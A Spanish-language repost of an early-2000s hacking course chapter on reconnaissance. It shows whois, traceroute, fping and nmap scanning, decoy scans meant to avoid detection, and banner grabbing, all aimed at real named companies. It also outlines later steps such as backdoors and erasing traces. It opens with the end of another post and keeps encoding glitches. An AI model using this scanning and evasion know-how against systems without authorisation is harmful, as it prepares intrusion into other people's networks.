En  la  proxima   nos  centraremos  en  las  tecnicas   de  hacking  e
introduccion de sistemas mediante fallos de seguridad, desbordamientos
del bufer de  ciertos programas, ataques por fuerza  bruta, etc. Queda
todavia  un largo  camino y  luego hay  tecnicas  avanzadas (tunneling
firewalls, hijacking, IP spoofing…)

Tened cuidado ahi fuera .

LECTER

No related posts.

Related posts brought to you by Yet Another Related Posts Plugin.

La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información.

El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: http://www.hackindex.org ; y se incluya este disclaimer en su totalidad y sin modificación alguna.

Queda extrictamente prohibida su distribución con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.
#####################################

CURSO PRACTICO DE HACKING

Despues de muchas consideraciones acerca de la utilidad de un
protocursillo sobre “hacking” he decidido ofrecerlo a los estudiosos y
serios seguidores de es.comp.hackers. Estos capitulos que entregare
durante las siguientes semanas tienen por objeto servir de ayuda a los
que estan empezando en el mundillo del hacking con sanas intenciones y
no para quedarse en lamers o chicos del script (script kiddies) que lo
que hacen es destrozar con armas hechas por otros y que en el fondo ni
comprenden profundamente.

Ruego encarecidamente a los demas miembros del HACKINDEX, como mi
amigo NBK, Seldon, Lokutus, Isocrono, Crino, etc… que lo usen como
borrador para mejorarlo (si es que quieren tomarse la molestia) e
incluirlo en alguna pagina web destinada a ello. El texto sera llano y
sin tildes para evitar problemas de lectura y esta escrito con el
editor vi. El cursillo (Curso Practico de Hacking o CPH) pretende ser
por entregas dedicadas a cada uno de los pasos fundamentales en el
hacking de una maquina objetivo remota. Cuando me refiero a hacking no
quiere eso decir que me considere yo un hacker ni guru ni ninguna
gaita de esas, sino que es para aproximarme claramente al tema de la
introduccion en sistemas de comprometida seguridad. Hare referencia
fundamentalmente al mundo UNIX y las herramientas seran tambien
programas de aromas unix, scripts en perl o codigo en C. Yo recomiendo
encarecidamente que os aprovisioneis de un sistema Linux para estos
menesteres, ya que la mayoria de las utilidades de red vienen
incluidas, disponemos de un excelente compilador de C, del lenguaje
perl, Tcl, python… asi como de la posibilidad de instalar muchos
paquetes escritos para unix/linux como Saint, nmap, Nessus…y un
largo etcetera de ventajas con respecto a Mac o al Windoze.

El estudiante novato debera leer antes que nada la FAQ del grupo, que
puede encontrarla en la pagina de isocrono
(http://www.navegalia.com/hosting/00084/isocrono) tanto la del 98 y 99
como la ultima del 2000. Y hacer hincapie en el “decalogo del
hacker”. Hay que aprender por puro deleite, no para destrozar
sistemas. En fin, he intentado ajustarme a lo que yo pienso que son
los pasos fundamentales en el hacking de sistemas unix:

1. Merodeo y rastreo del objetivo

2. Extraccion de informacion critica del objetivo

3. Introduccion en el sistema

4. Aumento de privilegios (acceso a root, si la introduccion no
conduce directamente a el)

5. Maniobras oscuras (evitando ser notados, instalando sniffers,
dejando puertas traseras y troyanos)

6. Eliminando huellas

Aqui va el primer capitulo.

Saludos a todos,

LECTER

CPH. CAPITULO 1. MERODEO Y RASTREO DEL OBJETIVO

Un explorador no explora a tontas y locas…sabe bien cual es su
objetivo=2E Por lo tanto, lo que evidentemente hemos de subrayar como
fundamental es la informacion que tenemos del sistema objetivo. Puede
ser que conozcamos su nombre de dominio, su IP, y muchos datos mas,
pero puede ser que para comenzar tengamos algo asi como poco menos que
el nombre de la organizacion o la entidad “organizacion
objetivo”. Afortunadamente desde nuestra maquina linux podemos usar la
utilidad whois que permitira hacer consultas en la base de datos
InterNIC, simplemente haciendo

$>whois “organizacion objetivo”

y de este modo podremos ver muchos dominios diferentes asociados a tal
entidad. No obstante los servidores de InterNIC truncan los resultados
a 50 items, con lo que puede convenirnos consultar en
http://www.websitez.com, que proporciona todos los registros asociados
con la entidad buscada. Una vez conseguido el listadopodemos consultar
los dominios relacionados (p.ej. objetivo.net) mediante

$>whois objetivo.net

El resultado nos proporciona:
-Domain Name
-Registrar
-Whois server
-Referral ULR
-Name Servers
-Update Date

De este modo conseguimos informacion vinculada el objetivo y los
servidores DNS. Ademas tambien la fecha de actualizacion nos informa
de la precision de la informacion contenida en el objetivo. Si hace
mucho tiempo que no se actualiza, podria estar obsoleta. Pero, una
vez hemos consultado las bases de datos sobre los dominios es menester
hacer lo propio sobre redes para comprobar si hay alguna red real
asociada al dominio objetivo. Para ello podemos usar la base de datos
de ARIN. Para ello haremos

$>whois X.X.X.X@whois.arin.net

donde X.X.X.X es la IP de algun servidor DNS de los ya
vistos. Revisando los datos podemos saber quien es el proveedor
principal de la red central y la clase de red (ya que nos proporciona
el intervalo de IPs) a que nuestro objetivo esta asociado.

Por ejemplo, supongamos que estoy interesado en la empresa transmeta
(donde trabaja Linus Benedict Torvalds) pero no se nada mas.

$>whois “transmeta”

[rs.internic.net]

Whois Server Version 1.1

Domain names in the .com, .net, and .org domains can now be registered
with many different competing registrars. Go to
http://www.internic.net for detailed information.

TRANSMETA.ORG
TRANSMETA.NET
TRANSMETA.COM

To single out one record, look it up with “xxx”, where xxx is one of
the of the records displayed above. If the records are the same, look
them up with “=3Dxxx” to receive a full display for each record.

>>> Last update of whois database: Tue, 1 Aug 00 04:13:33 EDT <<<

The Registry database contains ONLY .COM, .NET, .ORG, .EDU domains and
Registrars.

Con esto me pongo a probar. Supongamos que me da por empezar por
transmeta.com

$>whois transmeta.com

[rs.internic.net]

Whois Server Version 1.1

Domain names in the .com, .net, and .org domains can now be registered
with many different competing registrars. Go to
http://www.internic.net for detailed information.

Domain Name: TRANSMETA.COM
Registrar: NETWORK SOLUTIONS, INC.
Whois Server: whois.networksolutions.com
Referral URL: www.networksolutions.com
Name Server: NS1.TRANSMETA.COM
Name Server: NS2.TRANSMETA.COM
Updated Date: 06-jan-2000

>>> Last update of whois database: Tue, 1 Aug 00 04:13:33 EDT <<<

The Registry database contains ONLY .COM, .NET, .ORG, .EDU domains and
Registrars.

Bueno…no se actualiza desde enero de 2000, pero me interesa. Voy a
utilizar la utilidad nslookup para conseguir las IPs de transmeta.com
y los dos DNS servers De este modo consigo

Name: transmeta.com
Addresses: 209.10.41.231, 209.10.41.232 (puede ser una pagina web y su espejo o gemelo)
Name: ns1.transmeta.com
Address: 209.10.41.227
Name: ns2.transmeta.com
Address: 209.10.217.68

Ahora voy a buscar si existe una red global que contenga el objetivo:

$>whois 209.10.41.227@whois.arin.net

[whois.arin.net]
Globix Corporation (NETBLK-GLOBIXBLK3)
295 Lafayette St- 3rd Fl
NY, NY 10012

Netname: GLOBIXBLK3
Netblock: 209.10.0.0 – 209.11.159.255
Maintainer: PFMC

Coordinator:
Hostmaster, Globix Corporation (GCH2-ARIN) arin-admin@GLOBIX.NET
212.334.8500 (FAX) 212.334.8615

Domain System inverse mapping provided by:

Z1.NS.NYC1.GLOBIX.NET 209.10.66.55
Z1.NS.SJC1.GLOBIX.NET 209.10.34.55
Z1.NS.LHR1.GLOBIX.NET 212.111.32.38

ADDRESSES WITHIN THIS BLOCK ARE NON-PORTABLE

Record last updated on 10-Jul-2000.
Database last updated on 1-Aug-2000 06:07:11 EDT.

The ARIN Registration Services Host contains ONLY Internet
Network Information: Networks, ASN’s, and related POC’s.
Please use the whois server at rs.internic.net for DOMAIN related
Information and whois.nic.mil for NIPRNET Information.

De este modo hemos sabido que la red global es GLOBIXBLK3 de Globix
Corporation y que va desde la IP 209.10.0.0 hasta la
209.11.159.255. Tambien se nos ofrecen datos acerca del Coordinador
que muy bien podrian servir para ciertas tecnicas de ingenieria social
.

Ahora no vendria nada mal determinar algo de la topologia rutas de
acceso potencial de la red. Con el programa traceroute podemos
descubrir la secuencia de hosts hasta llegar al objetivo e identificar
dispositivos de control de acceso como routers o cortafuegos.

$> traceroute transmeta.com

1 SEVI-X9.red.retevision.es (62.81.56.41) 138.486 ms 119.613 ms 130.83 ms
2 SEVI-R1.red.retevision.es (62.81.56.28) 139.057 ms SEVI-R3.red.retevision.es (62.81.56.27) 120.209 ms SEVI-R1.red.retevision.es (62.81.56.28) 129.753 ms
3 SEVI-R15.red.retevision.es (62.81.55.229) 120.721 ms 119.941 ms 129.843 ms
4 BARC-R16.red.retevision.es (62.81.125.3) 139.933 ms 139.88 ms 150.833 ms
5 BARC-R0.red.retevision.es (62.81.63.193) 159.007 ms 139.807 ms 149=2E913 ms
6 mi4-retevision-E3-2-es.seabone.net (195.22.192.229) 161.544 ms 159.903 ms 159.887 ms
7 gi-eth-2-mi5.seabone.net (195.22.205.235) 239.99 ms 159.912 ms 159=2E894 ms
8 itmil201-ta-p5-1-0.ebone.net (195.158.241.117) 159.935 ms 149.876 ms 169.88 ms
9 chgen102-tc-p0-1.ebone.net (195.158.241.37) 189.92 ms 169.909 ms 169.884 ms
10 chgen101-tc-p3-0.ebone.net (195.158.237.34) 180.842 ms * 240.1 ms
11 frpar205-tc-p1-0.ebone.net (195.158.228.22) 189.865 ms 178.867 ms 180.005 ms
12 gblon303-tc-p1-0.ebone.net (195.158.228.150) 199.884 ms 199.848 ms 189.897 ms
13 gblon504-tc-p1-0.ebone.net (195.158.232.33) 199.908 ms 199.824 ms 199.944 ms
14 195.158.232.66 (195.158.232.66) 189.855 ms 189.901 ms 199.922 ms
15 pos5-0-0-core2.lhr1.globix.net (209.10.12.197) 189.851 ms * pos2-2-core1.lhr1.globix.net (209.10.12.193) 230.109 ms
16 170.atm0-0-core2.sjc1.globix.net (209.10.11.70) 359.851 ms 146.atm0-0-core2.sjc1.globix.net (209.10.11.46) 369.861 ms 359.918 ms
17 pos5-0-0-aggr1.sjc1.globix.net (209.10.3.30) 359.882 ms 359.847 ms 370.234 ms
18 v2-edge2.sjc1.globix.net (209.10.3.22) 359.627 ms 369.855 ms 359.959 ms
19 www1.transmeta.com (209.10.41.231) 369.915 ms 379.868 ms 369.896 ms

Por fin…Parece ser que el =FAltimo eslabon es el servidor web
www1.transmeta.com(una de las IP de transmeta.com, la otra sera el
gemelo www2.transmeta.com) y el anterior a el podria ser un router
frontera. Para conocer los registros de Mail eXchange (MX), es decir
las maquinas que gestionan el correo de nuestro objetivo existe la
utilidad host. Al hacer

$>host transmeta.com

transmeta.com has address 209.10.41.232
transmeta.com has address 209.10.41.231
transmeta.com mail is handled (pri=3D40) by neosilicon.transmeta.com

obtengo el nombre del sistema que gestiona el correo. Esto es
fundamental porque generalmente en los entornos comerciales el correo
se administra en el mismo sistema que el cortafuegos. Con un nslookup
descubrimos que la IP de neosilicon.transmeta.com es 209.10.217.68.

Bueno. Hasta ahora disponemos de una lista de direcciones Ip de red,
servidores DNS, de correo y otras yerbas…pero =BFsabemos que
sistemas estan activos y accesibles via internet?=BFy que puertos
estan a la escucha? Bien, eso vamos a arreglarlo
inmediatamente. Podriamos hacer barridos ping enviando paquetes ICMP
ECHO(8) para recibir ICMP ECHO REPLY (0) si el destino esta
activo. Mejor que ping es la herramienta fping que “pregunta” en
paralelo y permite barrer rapidamente varias direcciones IP. Fping se
usa mediante shell scripts con la utilidad gping (que viene incluida
en fping) junto con el intervalo de IP, por ejemplo

$>gping 209 10 0 0 254 (equivale a 209.10.0.0-209.10.0.254)

devolvera la IP junto con “is alive” si el host esta activo…pero
vamos a pasar a la utilidad mas interesante para la exploracion que es
nmap (www.insecure.org/nmap. Nmap no es solamente un explorador de
puertos: permite hacer como fping barridos ping y determinar el
sistema operativo por rastreo de pila. Cuando el trafico ICMP se
encuentra bloqueado la exploracion de puertos es la mejor tecnica para
encontrar hosts activos. Nmap permite la opcion de hacer TCP ping scan
mediante la opcion -PT en el puerto 80 (puerto comun usado por los
routers frontera para los sistemas de su misma zona y sus cortafuegos
principales. Y permite analizar toda la red indicada como intervalo,
con “mask” o utilizando bloques CIDR: por ejemplo 209.10.*.* equivale
a 209.10.0-255.0-255 o usando mask, 209.10.0.0/16. Cualquiera de estas
formas vale para usar con nmap. Si usamos la notaci=F3n de mask IP/n
n=3D0 escanea toda internet y n=3D32 el host particular
correspondiente a dicha IP.la mask /24 barrera una serie de IP
correspondiente a x.x.x.0-225 (red de clase C con mascara de subred
255.255.255.0)y /16 lo hara con una serie correspondiente a una clase
B (x.x.0-255.0-255). Para ello hacemos como root

#>nmap -sP -PT80 209.10-11.0-159.0-255

(barremos toda la red global)

y para cada host activo, aparecera “Host (x.x.x.x) appears to be up”.

Las opciones y posibilidades de nmap son grandes; conviene leerse el
manual porque aqui solamente trataremos un nivel muy muy
basico. Podemos realizar una exploracion de puertos sigilosa mediante
un barrido semi abierto (TCP SYN scan) realizado como superusuario:

#>nmap -sS transmeta.com

(los resultados pueden almacenarse en un fichero con la opcion -o
fichero)

# Nmap (V. nmap) scan initiated 2.53 as: nmap -sS transmeta.com
Interesting ports on www1.transmeta.com (209.10.41.231):
(The 1521 ports scanned but not shown below are in state: closed)
Port State Service
22/tcp open ssh
80/tcp open http

# Nmap run completed at Tue Aug 1 23:17:52 2000 — 1 IP address (1 host up) scanned in 28 seconds

Como puede verse www1.transmeta.com solamente tiene dos puertos
abiertos, el de secure shell y el de servidor web.

Para que la exploracion sea todavia mas silenciosa conviene hacer el
barrido utilizando se=F1uelos con la opcion -D. Supongamos que estamos
interesados especificamente en una direccion x.x.x.x y en los puertos
25, 139 y 443. Podemos hacer

#>nmap -sS x.x.x.x -D se=F1uelo1, se=F1uelo2, ME -p25, 139, 443

De este modo se realiza un barrido SYN en tales puertos con dos host se=F1uelos 1 y 2. Asi el host escaneado pensara que esta siendo barrido ademas por dichos se=F1uelos. Hay que separar cada maquina se=F1uelo por comas y se puede usar “ME” como se=F1uelo que representa la posicion usada por nuestra maquina. Si se coloca ME en la sexta posicion o superior podemos estar casi seguros que no nos rastrearan, pero los hosts usados como se=F1uelos (en este ultimo caso del 1 al 5) han de estar activos porque si no podria producirse un SYN flooding en la maquina escaneada ademas de no ser notados tales se=F1uelos. Si usamos la opcion -I (ident) podemos conocer el nombre del usuario propietario del proceso conectado via TCP, pero para ello hay que hacer la conexion completa TCP (-sT) y seriamos vistos.

Una vez que conocemos los puntos a la escucha en nuestro sistema
destino, el siguiente objetivo es identificar su sistema operativo. El
procedimiento mas comun es mediante telnet al puerto 23; p.ej.

$> telnet 163.143.103.12
=2E…algunos mensajes tipicos….
HP-UX hpux B.10.01 A 9000/715 (ttyp2)
login:

El problema es que muchos administradores eliminan el banner del
sistema operativo, ciertos sistemas dan per se poca informacion y
algunos listillos mienten como bellacos en el banner. De todos modos
aunque el banner este off es posible usar otras argucias con telnet o
netcat

$>telnet ftp.netscape.com 21
=2E…mensajes….
220 ftp29 FTP server (Unix System V Release 4.0)
(entonces hacemos)
SYST
(y nos aparece si hay suerte)
215 UNIX Type: L8 Version: SUNOS

En el caso de web servers con la utilidad netcat (la navaja del
ejercito suizo para estas cuestiones) podemos hacer (p.ej., en
hotbot.com)

$>echo ‘GET / HTTP/1.0n’ | nc hotbot.com 80 | egrep ‘^Server:’
(para obtener)
Server: Microsoft-IIS/4.0

Pero, por las otras razones, el procedimiento mas preciso es el
llamado rastreo de pila (Stack fingerprinting). A la hora de escribir
las pilas TCP/IP, cada fabricante suele interpretar a su manera la
normativa RFC especifica y mediante la deteccion de estas diferencias
se pueden realizar suposiciones razonables del sistema operativo. Para
que la fiabilidad sea maxima debe al menos existir un puerto
abierto. Hay dos utilidades que permiten realizar esto y son el ya
celebrado programa nmap y queso. Nmap lo realiza con la opcion -O e
incluso si no hay puertos a la escucha realiza una suposicion del
sistema operativo. Queso hace la deteccion basandose en un unico
puerto que por defecto es el 80, pero que puede cambiarse. Por
ejemplo, parece que v2-edge2.sjc1.globix.net (209.10.3.22) como vimos
al hacet traceroute a transmeta.com, es un router. =BFCual sera el
sistema operativo? Para ello basta con hacer #>nmap -O 209.10.3.22 (o
con la opcion -sS para no ser detectados) y en mi caso no se
encontraron puertos abiertos pero la suposicion del sistema operativo
fue en todos los casos un Cisco Router.

=BFOs acordais del gestor de correo de transmeta.com? Se trataba de
neosilicon.transmeta.com (209.10.217.68) y pensabamos que se trataba
de un posible cortafuegosSi hago #>nmap -sS -O 209.10.217.68 tarda un
monton, pero se observa que tiene abiertos los puertos 25 (gestor de
correo, 21 (servidor ftp) y 53 (domain, consulta de DNS). Si hacemos
la consulta a las bravas con #>nmap -O 209.10.217.68 -p25 nos sale un
Linux 2.0.x y si lo hacemos con #>queso 209.10.217.68:25 nos sale lo
mismo.

Cabria decir que neosilicon.transmeta.com se encarga del correo y el
ftp de transmeta.com. Si nos atrevemos a hacer un telnet a esos
puertos nos sale:

$>telnet 209.10.217.68 25
=2E…mensajes….
220 neosilicon.transmeta.com ESMTP Sendmail 8.9.3 …

$>telnet 209.10.217.68 21
=2E…mensajes intimidatorios….
220 neosilicon transmeta.com FTP Server (Version wu-2.6.1(1)) ready…

Y basta por esta entrega.

En el capitulo 2 trataremos de obtener informacion critica del sistema
objetivo: transferencia de zona en DNS, busqueda de cortafuegos y
routers con hping, nmap y netcat, exportacion de archivos NFS,
exportacion de listas de usuarios, aplicaciones RPC, NIS y bugs de los
demonios escuchantes en los puertos tipicos smpt, pop, imap…

Tened cuidado ahi fuera

LECTER

No related posts.

Related posts brought to you by Yet Another Related Posts Plugin.